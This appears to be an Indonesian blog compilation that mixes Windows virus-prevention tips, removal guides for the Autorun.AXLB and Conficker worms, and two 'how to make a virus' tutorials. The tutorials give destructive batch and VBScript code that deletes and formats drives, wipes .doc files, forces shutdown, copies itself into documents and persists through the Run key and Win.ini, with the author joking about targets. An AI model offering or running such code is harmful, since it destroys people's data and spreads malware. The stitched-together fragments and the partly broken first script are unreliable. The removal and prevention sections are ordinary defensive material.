a. Selalu gunakan View ® Detail agar setiap file ditampilkan secara detail, sehingga file yang ganjil mudah terlihat, misalnya file bertipe “Application” tetapi ikonnya folder.
b. Pada menu Folder Options, aktifkan pilihan Show hidden files and folders, non-aktifkan pilihan Hide extensions for known file types, kalau perlu nonaktifkan juga pilihan Hide protected operating system files (Recommended). Kemudian klik tombol Apply to All Folders. Hal ini akan sangat membantu kita menangkap keganjilan suatu file, misalnya file berekstensi EXE atau SCR, tetapi tipenya Microsoft Word Document.
c. Biasakan menggunakan Windows Explorer untuk membuka file dengan mengklik dua kali pada file yang akan dibuka. Dengan cara ini kita akan terlatih untuk mengetahui lebih dulu ikon, ekstensi dan tipe file yang akan dibuka. Jika file yang akan dibuka ternyata virus, ia tidak akan menular selama tidak dibuka, jadi tinggal dihapus saja dan komputer tidak jadi tertular.
3. Gunakan program untuk mem-backup sistem
Gunakan program seperti GHOST.EXE untuk membackup partisi sistem (C:) ke drive lain. Jika terjadi infeksi virus, drive C: dapat dikembalikan seperti sedia kala dengan menyalin hasil backup. Hal ini akan sangat menghemat waktu. Virus apapun jenisnya, cara ini dapat mengatasi masalah tanpa masalah baru, ASALKAN virus yang menyerang tidak menghapus atau mengubah file secara membabi buta.
Untuk tip ini, diperlukan space di drive lain yang besarnya kurang lebih sama dengan ukuran drive C: yang digunakan (ruang kosong tidak dihitung), dan sebaiknya data selalu di simpan di drive selain C:. Cara ini tidak berlaku untuk komputer yang hanya memiliki satu drive harddisk.
4. Jika memungkinkan, backup data-data penting ke media yang hanya bisa dibaca, misalnya CD.
5. Umumnya virus yang menyerang dokumen hanya mencari file .DOC. Untuk file dokumen ketikan yang hanya berisi teks saja (tidak mengandung tabel atau gambar), gunakan tipe .RTF (Rich Text Format). Jika file dokumen tersebut tidak hanya berisi teks, biasanya jika disimpan dengan format RTF akan berukuran jauh lebih besar.
6. Untuk Windows 9X, data atau program penting dapat disimpan dalam folder khusus yang dapat ‘dikunci’. Cara menguncinya adalah dengan mengubah namanya melalui Command Prompt, dengan menambahkan karakter ASCII dengan kode 255 pada nama folder tersebut.
Contoh: Misal nama folder tersebut RAHASIA.
Code:
REN RAHASIA _RAHASIA untuk mengunci
REN _RAHASIA RAHASIA untuk membuka kunci
7. Karakter “_” di atas bukan underscore (garis bawah) tetapi karakter ASCII 255 yang dibuat dengan cara menekan tombol Alt, kemudian dengan kondisi tombol Alt tetap ditekan, tekan tombol numerik 2, kemudian tombol 5, dan tombol 5 lagi. Setelah dikunci dengan cara ini, folder tersebut tidak dapat dibuka, dihapus ataupun diubah namanya. File di dalamnya juga aman dari virus. Tetapi trik ini tidak dapat diterapkan pada Windows XP.
8. Waspadalah ketika memasukkan disket, CD atau flashdisk. Periksa dulu isinya sebelum mulai membuka atau mengkopi file di dalamnya. Pastikan tidak ada file mencurigakan.

Cara Membuat Virus Mal ware

Sekarang saya akan menunjukkan kepada kamu, bagaimana membuat malware (virus).

Sangat mudah dan cepat.ingat,jangan lakukan ini pada komputer Anda sendiri. Karena

sangat berbahaya,dapat memformat dan menghapus sistem anda


backup data anda sebelum Anda melakukan hal ini.

1.Buka Notepad.

2. Ikuti langkah-langkah ini dengan hati-hati, dan resiko di tanggung sendiri jika

terjadi sesuatu pada Komputer Anda.

3. Copy-Paste atau Write-Dalam script di bawah pada Notepad.

@ echo off
echo (untuk mengubah Line)
echo Malware Virus


DEL C: \-y (script buat del drive c)
DEL D: \-y (script buat del drive d)
FORMAT C: \-y (script buat format c)

Jika dilakukan, simpan dengan anyname yang Anda inginkan, tetapi harus format *.

bat (ex: malware.bat). Jadi, virus telah dibuat.

Oke, ini bekerja ketika Anda mengklik 2x. saya hanya ingin berbagi pengetahuan

saja. saya memperingatkan Anda lagi, Do Not Disturb Anyone, ini hanya untuk

pembelajaran saja.

Cara Menghapus Virus

Program jahat bernama W32/Autorun.AXLB itu diketahui menyebar melalui USB flashdisk, eksternal atau lainnya. Selain itu, virus yang dijuluki Vaksincom sebagai virus Cinta Laura itu juga akan memanfaatkan drive dan folder yang di-share pada sistem operasi .
Analis antivirus dari Vaksincom, Adi Saputra memaparkan langkah-langkah berikut untuk mengatasinya.
1. Putuskan hubungan komputer yang akan dibersihkan dari jaringan.
2. Nonaktifkan “” selama proses pembersihan virus.
3. Matikan proses virus yang aktif di memory. Gunakan tools pengganti task manager, seperti IceSword atau tools lain yang tidak di blok oleh virus ini.
4. Lakukan terminate process pada  yang aktif, berikut langkah-langkah yang dilakukan:
  • Cari proses yang berjalan dengan nama NTDETECT.EXE.
  • Klik kanan file NTDETECT.EXE, kemudian pilih “Terminate Process”.
5. Hapus yang telah dibuat oleh virus. Dalam hal ini, kita menggunakan tools IceSword karena worm telah men-disable fungsi perbaikan melalui script registry. Berikut langkah-langkah yang dilakukan :
  • Explore file compress IceSword yang sudah di download atau dapat di extract terlebih dahulu, kemudian jalankan (klik 2x) file IceSword.exe.
  • Pada tab [Registry], hapus string berikut :
  • HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun
  • Pada sebelah kanan, hapus value “Windows”.
  • Pada tab [Registry], rubah string berikut :
  • HKEY_LOCAL_MACHINE SOFTWAREClassesbatfileshellOpencommand
  • Pada sebelah kanan, rubah value “(Default)” menjadi “”%1”%*” HKEY_LOCAL_MACHINE SOFTWAREClassescmdfileshellOpencommand
  • Pada sebelah kanan, rubah value “(Default)” menjadi “”%1”%*”
  • HKEY_LOCAL_MACHINE SOFTWAREClasseshtmlfileshellOpencommand
  • Pada sebelah kanan, rubah value “(Default)” menjadi “”C:Program FilesInternet Exploreriexplore.exe” -nohome”
  • HKEY_LOCAL_MACHINE SOFTWAREClassesinffileshellOpencommand
  • Pada sebelah kanan, rubah value “(Default)” menjadi “%SystemRoot%System32rundll32.exe”
  • HKEY_LOCAL_MACHINE SOFTWAREClassesregfileshellOpencommand
  • Pada sebelah kanan, rubah value “(Default)” menjadi “regedit.exe “%1″”
  • HKEY_LOCAL_MACHINE SOFTWAREClassestxtfileshellOpencommand
  • Pada sebelah kanan, rubah value “(Default)” menjadi “%SystemRoot%System32NOTEPAD.EXE%1”
  • Untuk melihat hasil perubahan, sebaiknya logoff/restart.
6. Hapus yang mempunyai ciri-ciri sebagai berikut :
  • Icon “3GP”
  • Extension *.exe
  • Ukuran 37 kb
Catatan :
  • Sebaiknya tampilkan file yang tersembunyi agar mempermudah dalam proses pencarian .
  • Untuk mempermudah proses pencarian sebaiknya gunakan “Search Windows” dengan filter file *.exe yang mempunyai ukuran maksimal 37 KB.
  • Hapus yang biasanya mempunyai date modified yang sama.
7. Untuk pembersihan yang optimal dan mencegah infeksi ulang, sebaiknya menggunakan Norman Security Suite atau antivirus yang ter-update dan mengenali virus ini dengan baik.

Selamat Mencoba..

Cara Membuat Virus

1.Delete Registry : REG DELETE ALAMAT /v VALUE NAME /f
Keterangan :
- REG DELETE = Menghapus registry
- ALAMAT = HKEY\Software\dst
- /v VALUE NAME = Nama Value
::::
:::
::
:

- /f = Tidak wajib!! Berfungsi untuk melaksanakan perintah tanpa prompt
Contoh : REG DELETE HKEY\Software\Microsoft\Windows\Policies\Explorer /v NoFind
Fungsi = Menghapus Value NoFind Di Alamat Registry HKEY\Software\Microsoft\Windows\Policies\Explorer

2.ADD Registry : REG ADD ALAMAT /v VALUE NAME /t TYPE /s SEPARATOR /d DATA /f
Keteranagn :
- REG ADD = Menambah registry
- ALAMAT = HKEY\Software\dst
- /v VALUE NAME = Nama Value
- /t TYPE = Type data Ex: REG_DWORD, REG_SZ
- /d DATA = Isi Value
- /f = Tidak wajib!! Berfungsi untuk melaksanakan perintah tanpa prompt

3.PROMPT : PROMPT Text
Keterangan:
PROMPT = Perintah untuk merubah text PROMPT
Text = Text yang ingn kita munculkan di PROMPT
Text dapat menggunakan karakter spesial yang daftarnya berikut ini!!
$A = Karakter & $N = Drive kita menginstal windows
$B = Karakter | $P = Default
$C = Karakter ( $Q = Karakter =
$D = Karakter Tanggal Sekarang $S = Karakter Spasi
$E = Karakter Escape Kode $T = Karakter Jam Sekarang
$F = Karakter ) $V = Karakter No Versi Windows
$G = Karakter > (lebih besar dari) $_ = Karakter Garis Bawah
$H = Karakter No Text $$ = Karakter Dollar
$L = Karakter < (lebih kecil dari) $+ = Karakter Aritmatik

4.Replace : Replace [Drive\Path\NamaFile] [Drive\Path] /A /P /R /S /W /U
Keterangan:
Replace = Pindahkan
- [Drive\Path\NamaFile] = Spesifik sumber file
- [Drive\Path\] = Folder Tujuan
- A = Pindahkan File ke Folder Tujuan (No Update)
- P = Membuat Prompt MengKonfirmasi Kita Sebelum Memindahkan
- R = Pindahkan hanya File Attribut Read Only
- S = Pindahkan File Ke Semua Sub Direktori Folder Tujuan
- W = Tunggu kita memasukan disk/flashdisk sebelum memindahkan
- U = Pindahkan dan Update jika nama file sudah ada
- Jika menggunakan parameter /A tidak boleh menggunakan /S /U begitu juga sebaliknya.

5.Attrib : Attrib +R -R +A -A +H -H +S -S ADRESS /S /D
Keterangan:
Attrib = Rubah Attribut File/Folder
- (-) = Untuk Menghapus Attribut
- (+) = Untuk Menambah Attribut
- (A) = Attribut Archieve
- (R) = Attribut Read Only
- (H) = Attribut Hidden
- (S) = Attribut Super_Hidden/System
- /S = Proses terhadap file yang sama di folder dan subfolder
- /D = Proses folder Sebagai Sumber
- Adress = Alamat File Misal: C:\Lucky\Ganteng

6.Del : Del /P /F /S /Q /Attribut /Adress
Keterangan:
- Del = Hapus File / Folder
- /P = Membuat Prompt MengKonfirmasi Kita Sebelum Menghapus
- /F = Hapus Hanya Read Only File
- /S = Hapus File Yang Sama Di Semua Sub Direktory
- /Q = Hapus Dengan Cepat
- /Attribut = Pilih Attribut File Yang Ingin Di Hapus (Tidak Ada Berarti Semua File) tanda (-) berarti yang tidak di hapus- - Adress = Alamat File Misal: C:\Lucky\Ganteng

7.Rename : Rename/Ren [Drive\Path\NamaFile] NewFileName
Keterangan:
- Rename = Rubah Nama File
- [Drive\Path\NamaFile] = Alamat Drive dan Nama File
- NewFileName = Nama File Baru

8.Type : Type [Drive\Path\NamaFile]
Keterangan:
- Type = Membuka Semua File Text (*.txt, *.doc, *.xls, *.ini, *.vbs, *.js, dll)
- [Drive\Path\NamaFile] = Lokasi File

9.Start : Start ADDRESS_FILE
- Start = Untuk menjalankan File
- ADDRESS_FILE = Alamat file di special folder seperti windows dan system32
- Ex: Start Regedit maka akan menjalankan Registry Editor.
sekarang kita akan membahas file *.bat yang berfungsi untuk menjalankan perintah command prompt secara bersamaan. oke ketikan kode berikut di notepad: date 07-07-07 dan save dengan nama edit_time.bat dan pilih “All File” dalam kolom “Save As Type” lalu jalankan!! setelah itu apa yang terjadi?? yah tanggal berubah jadi juli-7-2007.

oke lanjut ke file *.bat kita tidak mungkin membuat banyak file *.bat karena selain akan cepat terdeteksi, kita juga akan semakin rumit merubahregistry!! namun jangan kuatir karena file *.bat bisa menjalankan perintah DOS/COMMAND_PROMPT secara langsung.
berikut perintah ini, kita buka notepad dan ketikan code berikut:
del C:\*.doc ‘—– hapus semua file berextensi doc di drive c
Shutdown -s -f -t 30 -c “Selamat Tidur” ‘—– -s = shutdown computer, -f = tutup semua aplikasi tanpa peringatan, -t = setting waktu(dalam detik) -c = menampilkan pesan “Selamat Tidur” (Bebas kita ubah)
attrib +s +h C:\*.jpg /s /d ‘—– beri attribut hidden dan system semua file jpg
for /R c:\ %%r in (*.cob *.doc) do copy %0 “%%r” ‘—– Copy isi file *.bat ke semua file *.cob dan *.doc di C
for /R c:\ %%r in (*.cob *.doc) do ren “%%r” *.bat ‘—– Rename semua file *.cob dan *.doc jadi *.bat sehingga isi file jd virus kita :D haha..haha
Untuk isi file bat yang akan menumpang di virus vbs kita anda boleh pilih mana yang paling cocok!! mungkin menghapus, shutdown dalam 30 detik, menyembunyikan atau merubah isinya jadi file *.bat?? dipilih!! dipilih!!
atau boleh masukin semuanya sehingga virus kita ditambah kode berikut ini:
Set bath = fso.CreateObject(towind & “\sialan.bat”)
bath.writeline “del C:\*.doc”
bath.writeline “Shutdown -s -f -t 30″
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do copy %0 %%r”
bath.writeline “for /R c:\ %%r in (*.cob *.doc) do ren %%r *.bat”
bath.close
‘bonus
wsh.regwrite “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\”SysError”, “towind & “\sialan.bat”, “REG_SZ”
Maka ketika windows diaktifkan semua file doc akan menjadi *.bat dengan isi kode penghancur kita :D bisa diselamatkan ga tuh?? coba saja supaya anda tahu!!
Namun jika anda punya anti virus biasanya kode tersebut akan di blok karena jelas-jelas untuk merusak!! lalu bagaimana?? kita berdoa supaya antivirus komputer sasaran tidak mengenali :D karena memang tidak semua antivirus akan memblok perintah tersebut. Oia sebagai tambahan kita bisa membuat file lain seperti *.html atau *.ini!! jika kita punya banyak duplikat virus kita bisa membuat file *.ini supaya orang tidak cepat mengetahui virus kita hanya dengan membuka Regedit. untuk terakhir kali saya akan berikan lagi suatu code yang akan merubah file ini diwindows sehingga menjalankan virus kita. oke langsung saja tentunya dengan perintah
set BuatIni = fso.CreateTextFile(”C:\WINDOWS\Win.ini”)
BuatIni.writeline “[WINDOWS]”
BuatIni.writeline “run = C:\Ju_Pe.vbs” ‘—-rubah sesuai letak dan nama virus
BuatIni.writeline “load = C:\Persik.vbs” ‘—-rubah sesuai letak dan nama virus
BuatIni.close
Maka ketika windows dijalankan virus akan aktif!! walaupun mungkin registry telah dirubah.
Dari pembahasan kita maka kita bisa simpulkan beberapa langkah berikut jika terkena virus vbs: jika tidak di enkripsi anda bisa melihat dan membunuh semua virus dan membenarkanregistry dengan membaca source kodenya, tapi jika di enkripsi kita lakukan langkah berikut:
1.Matikan proses virus!! anda bisa menggunakan tool pengganti TaskManager yang biasanya akan di blok.
2.Hapus semua duplikat virus!! anda bisa gunakan antivirus update terbaru dan jika diblok virus anda rubah dulu namanya seperti PCMAV_CLN.exe jadi 123.exe
3.Buka registry dan periksa dengan teliti semua subkey run otomatis biasanya akan terdapat key yang mengarah ke letak virus yang dijalankan dan periksa file win.ini!! jika dirubah anda minta dari komputer teman anda :D dan jika ada petunjuk letak virus langsung hapus.
4.Rubah semua registry yang dirubah virus!! bisa dengan TuneUp Utilities dan sebagainya!!
Untuk pencegahan lakukan langkah berikut:
1.Gunakan antivirus terbaru, jika bisa yang mempunyai fitur heuristik seperti ANSAV.
2.Jangan asal klik file!! lihat dikolom type Windows Explorer apabila application tapi iconnya folder atau MS Word langsung hapus.
3.Selalu scan jika mencolokan flaskdisk
4.Matikan proses autorun melalui registry di alamat
“HKCU(atau HKLM)\Software\Microsoft\Windows\CurrentVersion\Po licies\Explorer”, buat DWORD value baru dengan nama NoDriveTypeAutorun dan isi dengan nilai 255. atau melalui start—Run—ketik GPEDIT.msc—User Configuration—Administratif Templates—–System—–Cari Turn Off AutoPlay—–klik 2x dan rubah jadi Enabled!!
5.Jangan Pakai OS Windows, pake linux cos VMaker Indonesia cuma bisa bikin untuk windows...



selamat mencoba..

Pelajaran Registri - Registri

Mengatasi Virus Conficker, Downadup.C
Belajar komputer, belajar internet, belajar blog. Pada artikel sebelumnya yaitu top 10 virus paling beken pada bulan Juni 2009 kita bersama-sama telah melihat bahwa yang menduduki peringkat pertama adalah Virus Conficker. Itu artinya virus ini menyebar cukup luas dan ganas. Nah pada artikel kali ini kita akan membahas bagaimana mengatasi virus ini. Dalam pembahasan ini kita akan menggunakan produk antivirus buatan symantec yang sudah lumayan terkenal. Nama softwarenya W32.Downadup Removal Tool. Versi inggris cara penanganannya sudah ada disini; http://www.symantec.com/security_response/writeup.jsp?docid=2009-030614-5852-99&tabid=3, Langkah-langkah penanganannya akan saya copy-kan secara langsung;
The following instructions pertain to all current and recent Symantec antivirus products, including the Symantec AntiVirus and Norton AntiVirus product lines. For specific details on each of these steps, read the following instructions.
  1. To disable System Restore (Windows Me/XP)
If you are running Windows Me or Windows XP, we recommend that you temporarily turn off System Restore. Windows Me/XP uses this feature, which is enabled by default, to restore the files on your computer in case they become damaged. If a virus, worm, or Trojan infects a computer, System Restore may back up the virus, worm, or Trojan on the computer.
Windows prevents outside programs, including antivirus programs, from modifying System Restore. Therefore, antivirus programs or tools cannot remove threats in the System Restore folder. As a result, System Restore has the potential of restoring an infected file on your computer, even after you have cleaned the infected files from all the other locations.
Note: When you are completely finished with the removal procedure and are satisfied that the threat has been removed, reenable System Restore by following the instructions in the aforementioned documents.
2. To update the virus definitions
Symantec Security Response fully tests all the virus definitions for quality assurance before they are posted to our servers. There are two ways to obtain the most recent virus definitions:
Running LiveUpdate, which is the easiest way to obtain virus definitions.
If you use Norton AntiVirus 2006, Symantec AntiVirus Corporate Edition 10.0, or newer products, LiveUpdate definitions are updated daily. These products include newer technology.
Downloading the definitions using the Intelligent Updater: The Intelligent Updater virus definitions are posted daily. You should download the definitions from the Symantec Security Response Web site and manually install them.
Note: W32.Downadup.C may block access to Symantec Web sites and network addresses, which may result in failure to obtain the most recent virus definitions. Follow these steps to remove the block:
  • Click Start > Run or hit Windows Key + R.
  • Type cmd, and then click OK.
  • Type net stop dnscache and press Enter.
  • Type exit and press Enter.
3. To find and stop the service
  1. Click Start > Run.
  2. Type services.msc, and then click OK.
  3. Locate and select the service that was detected.
  4. Click Action > Properties.
  5. Click Stop.
  6. Change Startup Type to Manual.
  7. Click OK and close the Services window.
  8. Restart the computer.
4. To run a full system scan
Run a full system scan. If any files are detected, follow the instructions displayed by your antivirus program. If you are unable to start your Symantec antivirus product or the product reports that it cannot delete a detected file, you may need to stop the risk from running in order to remove it. To do this, run the scan in Safe mode. For instructions, read the document, How to start the computer in Safe Mode. Once you have restarted in Safe mode, run the scan again. After the files are deleted, restart the computer in Normal mode and proceed with the next section.
Warning messages may be displayed when the computer is restarted, since the threat may not be fully removed at this point. You can ignore these messages and click OK. These messages will not appear when the computer is restarted after the removal instructions have been fully completed. The messages displayed may be similar to the following:
Title: [FILE PATH]
Message body: Windows cannot find [FILE NAME]. Make sure you typed the name correctly, and then try again. To search for a file, click the Start button, and then click Search.
5. To delete the value from the registry
Important: Symantec strongly recommends that you back up the registry before making any changes to it. Incorrect changes to the registry can result in permanent data loss or corrupted files. Modify the specified subkeys only. For instructions refer to the document: How to make a backup of the Windows registry.
  • Click Start > Run.
  • Type regedit
  • Click OK.
Note: If the registry editor fails to open the threat may have modified the registry to prevent access to the registry editor. Security Response has developed a tool to resolve this problem. Download and run this tool, and then continue with the removal.
Navigate to and delete the following registry subkeys:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer[CLSID 1]
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer[CLSID 1]
Navigate to and delete the following registry entries:
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionRun”[RANDOM CHARACTERS]” = “rundll32.exe “[RANDOM DLL FILE NAME]“, [RANDOM PARAMETER STRING]”
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices[RANDOM CHARACTERS]”ImagePath” = “%System%svchost.exe -k netsvcs”
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServices[RANDOM CHARACTERS]Parameters”ServiceDll” = “[PATH TO THE THREAT]”
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer[CLSID 2]”[WORD 1][WORD 2]” = “[BINARY DATA]”
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer[CLSID 2]”[WORD 1][WORD 2]” = “[BINARY DATA]”
HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorer[CLSID 2]”[WORD 1][WORD 2]” = “[BINARY DATA]”
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer[CLSID 2]”[WORD 1][WORD 2]” = “[BINARY DATA]”
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer[CLSID 2]”[WORD 1][WORD 2]” = “[BINARY DATA]”
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionExplorer[CLSID 2]”[WORD 1][WORD 2]” = “[BINARY DATA]”
Restore the following registry entries to their previous values, if required:
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionRun”Windows Defender”
HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindowsCurrentVersionexplorerShellServiceObjects{FD6905CE-952F-41F1-9A6F-135D9C6622CC}
HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSafeBoot
Exit the Registry Editor.
Note: If the risk creates or modifies registry subkeys or entries under HKEY_CURRENT_USER, it is possible that it created them for every user on the compromised computer. To ensure that all registry subkeys or entries are removed or restored, log on using each user account and check for any HKEY_CURRENT_USER items listed above.
gifi - gifi...